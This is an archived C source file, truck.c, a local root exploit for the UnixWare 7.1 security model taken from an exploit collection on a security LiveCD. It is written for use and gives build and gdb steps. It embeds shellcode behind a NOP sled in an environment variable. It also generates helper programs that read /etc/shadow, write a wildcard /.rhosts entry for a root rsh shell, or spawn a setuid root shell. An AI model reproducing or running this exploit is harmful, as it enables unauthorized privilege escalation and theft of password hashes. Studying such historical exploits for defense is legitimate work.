home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / sco / local / truck.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  106 lines

  1. /** =
  2.  
  3.  ** "Its a hole you could drive a truck through." =
  4.  
  5.  **                        -Aleph One
  6.  **
  7.  ** truck.c UnixWare 7.1 security model exploit
  8.  ** Demonstrates how we own privileged processes =
  9.  
  10.  ** =
  11.  
  12.  ** Usage: cc -o truck truck.c
  13.  ** ./truck <filetype>  where filetype is 1, 2 or 3 =
  14.  
  15.  ** (for dacread, dacwrite and setuid, respectively)
  16.  **
  17.  ** This will put $XNEC in the environment and run a shell.
  18.  ** From there you must use gdb/debug to load a file of the
  19.  ** type you chose (by checking /etc/security/tcb/privs)
  20.  ** and setting a breakpoint at _init via "break _init".
  21.  ** When you "run" and break at _init, change your EIP
  22.  ** to something between 0x8046000 and 0x8048000 with =
  23.  
  24.  ** "set $eip =3D 0x8046b75" and "continue" twice.
  25.  **
  26.  **
  27.  ** Brock Tellier btellier@usa.net
  28.  **/ =
  29.  
  30.  
  31.  
  32. #include <stdlib.h>
  33. #include <stdio.h>
  34.  
  35. char scoshell[]=3D /* This isn't a buffer overflow! really! */
  36. "\xeb\x1b\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11\x31\xc0"
  37. "\xb0\x3b\x8d\x7e\x07\x89\xf9\x53\x51\x56\x56\xeb\x10\xe8\xe0\xff"
  38. "\xff\xff/tmp/sm\xaa\xaa\xaa\xaa\x9a\xaa\xaa\xaa\xaa\x07\xaa";
  39.  
  40.                        =
  41.  
  42. #define LEN 3500
  43. #define NOP 0x90
  44.  
  45. #define DACWRITE "void main() { system(\"echo + + > /.rhosts; chmod 700 \=
  46.  
  47. /.rhosts; chown root:sys /.rhosts; rsh -l root localhost sh -i \
  48. \"); }\n"
  49. #define DACREAD  "void main() { system(\"cat /etc/shadow\");}\n"
  50. #define SETUID  "void main() { setreuid(0,0);system(\"/bin/sh\"); }\n"
  51.  
  52. void usage(int ftype) {
  53.     fprintf(stderr, "Error: Usage: truck [filetype]\n");
  54.     fprintf(stderr, "Where filetype is one of the following: \n");
  55.     fprintf(stderr, "1 dacread\n2 dacwrite\n3 setuid\n");
  56.     fprintf(stderr, "Note: if file has allprivs, use setuid\n");
  57. }
  58. void buildsm(int ftype) {
  59.   FILE *fp;
  60.   char cc[100];
  61.   fp =3D fopen("/tmp/sm.c", "w");
  62.  
  63.   if (ftype =3D=3D 1) fprintf(fp, DACREAD);
  64.     else if(ftype =3D=3D 2) fprintf(fp, DACWRITE);
  65.     else if(ftype =3D=3D 3) fprintf(fp, SETUID);
  66.  
  67.   fclose(fp);
  68.   snprintf(cc, sizeof(cc), "cc -o /tmp/sm /tmp/sm.c");
  69.   system(cc);
  70.  
  71. }
  72.  
  73. int main(int argc, char *argv[]) {
  74.  
  75. int i;
  76. int buflen =3D LEN;
  77. char buf[LEN]; =
  78.  
  79. int filetype =3D 0;
  80. char filebuf[20]; =
  81.  
  82.  
  83.  if(argc > 2 || argc =3D=3D 1) {
  84.     usage(filetype);
  85.     exit(0); =
  86.  
  87.  }
  88.  
  89.  if ( argc > 1 ) filetype=3Datoi(argv[1]);
  90.  if ( filetype > 3 || filetype < 1 ) { usage(filetype); exit(-1); }
  91.  buildsm(filetype);
  92.  
  93. fprintf(stderr, "\nUnixWare 7.1 security model exploit\n");
  94. fprintf(stderr, "Brock Tellier btellier@usa.net\n\n");
  95.  
  96. memset(buf,NOP,buflen);
  97. memcpy(buf+(buflen - strlen(scoshell) - 1),scoshell,strlen(scoshell));
  98.  
  99. memcpy(buf, "XNEC=3D", 5);
  100. putenv(buf);
  101. buf[buflen - 1] =3D 0;
  102.  
  103. system("/bin/sh");
  104. exit(0);
  105. }
  106.